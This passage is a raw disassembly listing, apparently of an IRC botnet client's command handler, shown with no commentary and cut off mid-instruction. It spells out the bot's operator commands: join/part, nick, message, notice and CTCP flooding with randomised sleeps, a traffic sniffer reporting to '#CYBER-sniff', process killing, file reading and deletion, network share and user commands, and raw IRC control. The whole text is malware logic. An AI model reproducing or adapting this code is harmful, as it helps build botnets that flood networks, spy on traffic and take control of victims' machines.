[ebp+var_3F4C] push eax call sub_41C300 lea eax, [ebp+var_3F4C] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 28h loc_404AF4: ; CODE XREF: sub_401CC1+2DDBj ; sub_401CC1+2DE6j push edi push offset aJoin ; "join" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404B31 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404B31 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h loc_404B31: ; CODE XREF: sub_401CC1+2E42j ; sub_401CC1+2E4Dj push edi push offset aPart_1 ; "part" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404B6E mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404B6E push eax lea eax, [ebp+var_2C0] push offset aPartS ; "part %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h loc_404B6E: ; CODE XREF: sub_401CC1+2E7Fj ; sub_401CC1+2E8Aj push edi push offset aPartflood ; "partflood" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404BB0 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404BB0 push offset aRoom ; "room" push eax lea eax, [ebp+var_2C0] push offset aPartSS ; "part %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_404BB0: ; CODE XREF: sub_401CC1+2EBCj ; sub_401CC1+2EC7j push edi push offset aPnick ; "pnick" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404C23 cmp [ebp+esi+var_88], ebx jz short loc_404C23 call dword_4F1364 ; GetTickCount push eax call sub_41B840 call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_1560] push edx push [ebp+esi+var_88] push offset aSI ; "%s%i" push eax call sub_41B740 lea eax, [ebp+var_1560] push eax lea eax, [ebp+var_2C0] push offset aNickS ; "NICK %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h loc_404C23: ; CODE XREF: sub_401CC1+2EFEj ; sub_401CC1+2F07j push edi push offset aJoinPart ; "join/part" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404D74 cmp [ebp+esi+var_88], ebx jz loc_404D74 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_0 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push offset aRoom ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_0 ; "part %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h call sub_41B850 cdq mov ecx, 3E8h idiv ecx push edx call dword_4F1334 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_1 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h call sub_41B850 cdq mov ecx, 384h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_1 ; "part %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_2 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h call sub_41B850 cdq mov ecx, 0C8h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_2 ; "part %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_404D74: ; CODE XREF: sub_401CC1+2F71j ; sub_401CC1+2F7Ej push edi push offset aDcc ; "dcc" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404E0C cmp [ebp+esi+var_88], ebx jz short loc_404E0C call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B850 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C0] push edx push [ebp+esi+var_88] push offset dword_442CFC push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h loc_404E0C: ; CODE XREF: sub_401CC1+30C2j ; sub_401CC1+30CFj push edi push offset aNick_0 ; "nick" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404F0F mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_404F0F push eax lea eax, [ebp+var_2C0] push offset aJoinS_3 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 lea eax, [ebp+var_4BC] push eax call sub_4156B7 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_0 ; "NICK %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_4156B7 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_1 ; "NICK %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h call sub_41B850 cdq mov ecx, 1F4h idiv ecx push edx call dword_4F1334 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_4156B7 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_2 ; "NICK %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_404F0F: ; CODE XREF: sub_401CC1+315Aj ; sub_401CC1+3169j push edi push offset aChgnick ; "chgnick" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404F53 lea eax, [ebp+var_15B4] push eax call sub_4156B7 lea eax, [ebp+var_15B4] push eax lea eax, [ebp+var_2C0] push offset aNickS_3 ; "NICK %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_404F53: ; CODE XREF: sub_401CC1+325Dj push edi push offset aMsg ; "msg" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405045 cmp [ebp+esi+var_88], ebx jz loc_405045 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_4 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h call sub_41B850 cdq mov ecx, 3E8h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "privmsg %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h call sub_41B850 cdq mov ecx, 384h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_1 ; "privmsg %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_405045: ; CODE XREF: sub_401CC1+32A1j ; sub_401CC1+32AEj push edi push offset aNotice_2 ; "notice" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405137 cmp [ebp+esi+var_88], ebx jz loc_405137 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_5 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 24h call sub_41B850 cdq mov ecx, 3E8h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_2 ; "NOTICE %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h call sub_41B850 cdq mov ecx, 384h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_3 ; "NOTICE %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_405137: ; CODE XREF: sub_401CC1+3393j ; sub_401CC1+33A0j push edi push offset aCtcp ; "ctcp" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405255 cmp [ebp+esi+var_88], ebx jz loc_405255 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_6 ; "join %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442DE8 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 20h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442DFC push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442E14 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442E2C push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 10h loc_405255: ; CODE XREF: sub_401CC1+3485j ; sub_401CC1+3492j push edi push offset dword_442E44 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405382 cmp [ebp+esi+var_88], ebx jz loc_405382 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442E48 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_442E50 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 20h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_442E64 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_442E74 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h call sub_41B850 cdq mov ecx, 514h idiv ecx push edx call dword_4F1334 ; Sleep push offset aRoom_0 ; "room" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_442E84 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_405382: ; CODE XREF: sub_401CC1+35A3j ; sub_401CC1+35B0j push edi push offset aRegister ; "register" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_4053C6 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_4053C6 push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 14h loc_4053C6: ; CODE XREF: sub_401CC1+36D0j ; sub_401CC1+36DBj push edi push offset aOff_0 ; "off" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405CA6 mov [ebp+arg_18], offset dword_4E85B4 loc_4053E2: ; CODE XREF: sub_401CC1+3745j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_4053F8 mov eax, [eax] cmp eax, ebx jbe short loc_4053F8 push eax call dword_4E0934 loc_4053F8: ; CODE XREF: sub_401CC1+3728j ; sub_401CC1+372Ej add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4EECD4 jl short loc_4053E2 cmp [ebp+var_8], ebx jnz loc_405CA6 push ebx push [ebp+var_4] push offset unk_442EBC push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h jmp loc_405CA6 ; --------------------------------------------------------------------------- loc_405430: ; CODE XREF: sub_401CC1+2C01j push [ebp+arg_10] push offset aNick_1 ; "nick" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408BBD push [ebp+arg_10] push offset aN ; "n" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408BBD push [ebp+arg_10] push offset aJoin_0 ; "join" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B9D push [ebp+arg_10] push offset aJ ; "j" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B9D push [ebp+arg_10] push offset aPart_2 ; "part" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B84 push [ebp+arg_10] push offset aPt ; "pt" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B84 push [ebp+arg_10] push offset aRaw ; "raw" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B4D push [ebp+arg_10] push offset aR_1 ; "r" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408B4D push [ebp+arg_10] push offset aKillthread ; "killthread" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408A4F push [ebp+arg_10] push offset aK ; "k" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408A4F push [ebp+arg_10] push offset aC_quit ; "c_quit" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4089A4 push [ebp+arg_10] push offset aC_q ; "c_q" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4089A4 push [ebp+arg_10] push offset aC_rndnick ; "c_rndnick" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40894D push [ebp+arg_10] push offset aC_rn ; "c_rn" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40894D push [ebp+arg_10] push offset aPrefix ; "prefix" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408938 push [ebp+arg_10] push offset aPr ; "pr" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408938 push [ebp+arg_10] push offset aOpen ; "open" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40890E push [ebp+arg_10] push offset aO ; "o" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40890E push [ebp+arg_10] push offset aServer ; "server" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4088E9 push [ebp+arg_10] push offset aSe ; "se" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4088E9 push [ebp+arg_10] push offset aDns ; "dns" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40887B push [ebp+arg_10] push offset aDn ; "dn" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40887B push [ebp+arg_10] push offset aKillproc ; "killproc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40884F push [ebp+arg_10] push offset aKp ; "kp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40884F push [ebp+arg_10] push offset aKill ; "kill" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087F4 push [ebp+arg_10] push offset aKi ; "ki" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087F4 push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087C0 push [ebp+arg_10] push offset aDel ; "del" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087C0 push [ebp+arg_10] push offset aList ; "list" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087A5 push [ebp+arg_10] push offset aLi ; "li" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4087A5 push [ebp+arg_10] push offset aMirccmd ; "mirccmd" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408731 push [ebp+arg_10] push offset aMirc ; "mirc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408731 push [ebp+arg_10] push offset dword_443350 call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4086DD push [ebp+arg_10] push offset dword_443354 call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4086DD push [ebp+arg_10] push offset aReadfile ; "readfile" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408658 push [ebp+arg_10] push offset aRf ; "rf" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408658 push [ebp+arg_10] push offset aSniffer ; "sniffer" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_4058B9 push edi push offset aOn ; "on" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405881 push 21h call sub_40AA45 test eax, eax pop ecx jle short loc_4057AE push offset unk_443408 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_4057AE: ; CODE XREF: sub_401CC1+3AE1j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_D98], eax mov eax, [ebp+var_4] mov [ebp+var_D10], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_D0C], eax jnz short loc_4057F0 mov esi, offset aCyberSniff ; "#CYBER-sniff" push offset dword_4E0768 push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_4057F0 mov esi, [ebp+var_88] loc_4057F0: ; CODE XREF: sub_401CC1+3B11j ; sub_401CC1+3B27j push esi lea eax, [ebp+var_D94] push 80h push eax call sub_41B910 lea eax, [ebp+var_2C0] push offset unk_443428 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 21h push eax call sub_40A7FD add esp, 20h mov [ebp+var_D14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D98] push ebx push eax push offset sub_411A34 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_D14] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_405870 loc_40585A: ; CODE XREF: sub_401CC1+3BADj cmp [ebp+var_D08], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_40585A ; --------------------------------------------------------------------------- loc_405870: ; CODE XREF: sub_401CC1+3B97j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443458 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_405881: ; CODE XREF: sub_401CC1+3AD1j push edi push offset aOff_1 ; "off" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_407C2F push ebx push 21h call sub_40A9F8 pop ecx cmp eax, ebx pop ecx jle short loc_4058AF push eax push offset unk_443498 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_4058AF: ; CODE XREF: sub_401CC1+3BE1j push offset unk_4434D8 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_4058B9: ; CODE XREF: sub_401CC1+3ABCj push [ebp+arg_10] push offset aIdent ; "ident" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40598C push edi push offset aOn_0 ; "on" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405954 push 2 call sub_40AA45 test eax, eax pop ecx jle short loc_4058F7 push offset dword_443514 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_4058F7: ; CODE XREF: sub_401CC1+3C2Aj lea eax, [ebp+var_2C0] push offset dword_443534 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 2 push eax call sub_40A7FD add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_40FD11 push ebx push ebx call dword_4F1338 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4537DC[esi], eax jnz loc_407C2F call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_443560 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_405954: ; CODE XREF: sub_401CC1+3C1Ej push edi push offset aOff_2 ; "off" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_407C2F push ebx push 2 call sub_40A9F8 pop ecx cmp eax, ebx pop ecx jle short loc_405982 push eax push offset dword_443598 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_405982: ; CODE XREF: sub_401CC1+3CB4j push offset dword_4435D0 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_40598C: ; CODE XREF: sub_401CC1+3C09j push [ebp+arg_10] push offset aNet_0 ; "net" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405C78 cmp dword_4E096C, ebx jz short loc_4059BD cmp dword_4E0994, ebx jz short loc_4059BD push offset unk_44376C jmp loc_407E61 ; --------------------------------------------------------------------------- loc_4059BD: ; CODE XREF: sub_401CC1+3CE8j ; sub_401CC1+3CF0j cmp [ebp+var_C], ebx jz loc_406693 mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_4059E5 push eax push [ebp+var_C] call sub_41B890 pop ecx mov [ebp+arg_0], eax pop ecx loc_4059E5: ; CODE XREF: sub_401CC1+3D14j push edi push offset aStart ; "start" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405A4B cmp [ebp+arg_18], ebx jz short loc_405A1F push [ebp+arg_0] push 3 call sub_4165F2 push eax push offset aS_1 ; "%s" loc_405A0B: ; CODE XREF: sub_401CC1+3DABj ; sub_401CC1+3DCEj ... lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 14h jmp loc_406693 ; --------------------------------------------------------------------------- loc_405A1F: ; CODE XREF: sub_401CC1+3D38j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416899 add esp, 0Ch test eax, eax jz short loc_405A41 push offset unk_443600 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405A41: ; CODE XREF: sub_401CC1+3D74j push offset unk_443624 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405A4B: ; CODE XREF: sub_401CC1+3D33j push edi push offset aStop ; "stop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405A6E push [ebp+arg_0] push 4 call sub_4165F2 push eax push offset aS_2 ; "%s" jmp short loc_405A0B ; --------------------------------------------------------------------------- loc_405A6E: ; CODE XREF: sub_401CC1+3D99j push edi push offset aPause ; "pause" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405A94 push [ebp+arg_0] push 5 call sub_4165F2 push eax push offset aS_3 ; "%s" jmp loc_405A0B ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_401CC1+3DBCj push edi push offset aContinue ; "continue" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405ABA push [ebp+arg_0] push 6 call sub_4165F2 push eax push offset aS_4 ; "%s" jmp loc_405A0B ; --------------------------------------------------------------------------- loc_405ABA: ; CODE XREF: sub_401CC1+3DE2j push edi push offset aDelete_0 ; "delete" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405AE0 push [ebp+arg_0] push 1 call sub_4165F2 push eax push offset aS_5 ; "%s" jmp loc_405A0B ; --------------------------------------------------------------------------- loc_405AE0: ; CODE XREF: sub_401CC1+3E08j push edi push offset aShare ; "share" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405B68 cmp [ebp+arg_18], ebx jz short loc_405B3B cmp [ebp+var_8FC], bl jz short loc_405B11 push ebx push [ebp+arg_18] push 1 call sub_4169D6 push eax push offset aS_6 ; "%s" jmp short loc_405B27 ; --------------------------------------------------------------------------- loc_405B11: ; CODE XREF: sub_401CC1+3E3Bj push [ebp+esi+var_84] push [ebp+arg_18] push ebx call sub_4169D6 push eax push offset aS_7 ; "%s" loc_405B27: ; CODE XREF: sub_401CC1+3E4Ej lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 18h jmp loc_406693 ; --------------------------------------------------------------------------- loc_405B3B: ; CODE XREF: sub_401CC1+3E33j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416BCB add esp, 10h test eax, eax jz short loc_405B5E push offset unk_443688 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405B5E: ; CODE XREF: sub_401CC1+3E91j push offset unk_4436AC jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405B68: ; CODE XREF: sub_401CC1+3E2Ej push edi push offset aUser ; "user" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405C20 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_405BF3 cmp [ebp+var_8FC], bl jz short loc_405BA9 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 call sub_416CEC push eax push offset aS_8 ; "%s" jmp short loc_405BDF ; --------------------------------------------------------------------------- loc_405BA9: ; CODE XREF: sub_401CC1+3EC9j push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_405BD0 push esi push eax push ebx call sub_416CEC push eax push offset aS_9 ; "%s" jmp short loc_405BDF ; --------------------------------------------------------------------------- loc_405BD0: ; CODE XREF: sub_401CC1+3EFDj push ebx push eax push 2 call sub_416CEC push eax push offset aS_10 ; "%s" loc_405BDF: ; CODE XREF: sub_401CC1+3EE6j ; sub_401CC1+3F0Dj lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 24h jmp loc_406693 ; --------------------------------------------------------------------------- loc_405BF3: ; CODE XREF: sub_401CC1+3EC1j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_417200 add esp, 10h test eax, eax jz short loc_405C16 push offset unk_4436E0 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405C16: ; CODE XREF: sub_401CC1+3F49j push offset unk_443700 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405C20: ; CODE XREF: sub_401CC1+3EB6j push edi push offset aSend ; "send" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_405C6E cmp [ebp+arg_18], ebx jz short loc_405C64 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_4174B4 push eax lea eax, [ebp+var_2C0] push offset aS_11 ; "%s" push eax call sub_41B740 add esp, 1Ch jmp loc_406693 ; --------------------------------------------------------------------------- loc_405C64: ; CODE XREF: sub_401CC1+3F73j push offset unk_44372C jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405C6E: ; CODE XREF: sub_401CC1+3F6Ej push offset unk_443750 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_405C78: ; CODE XREF: sub_401CC1+3CDCj push [ebp+arg_10] push offset aGethost ; "gethost" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408574 push [ebp+arg_10] push offset aGh ; "gh" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408574 loc_405CA6: ; CODE XREF: sub_401CC1+3714j ; sub_401CC1+374Aj ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40207C push [ebp+arg_10] push offset aKilllog ; "killlog" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40855A push [ebp+arg_10] push offset aKl ; "kl" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40855A push [ebp+arg_10] push offset aAddalias ; "addalias" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40851B push [ebp+arg_10] push offset aAa ; "aa" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40851B push [ebp+arg_10] push offset aPrivmsg_1 ; "privmsg" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4084C5 push [ebp+arg_10] push offset aPm ; "pm" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4084C5 push [ebp+arg_10] push offset aAction ; "action" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_10] push offset aA ; "a" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_10] push offset aCycle ; "cycle" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4083F1 push [ebp+arg_10] push offset aCy ; "cy" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4083F1 push [ebp+arg_10] push offset aMode_0 ; "mode" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4083B5 push [ebp+arg_10] push offset aM ; "m" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4083B5 push [ebp+arg_10] push offset aC_raw ; "c_raw" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40834A push [ebp+arg_10] push offset aC_r ; "c_r" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40834A push [ebp+arg_10] push offset aC_mode ; "c_mode" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4082C8 push [ebp+arg_10] push offset aC_m ; "c_m" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4082C8 push [ebp+arg_10] push offset aC_nick ; "c_nick" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40825A push [ebp+arg_10] push offset aC_n ; "c_n" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40825A push [ebp+arg_10] push 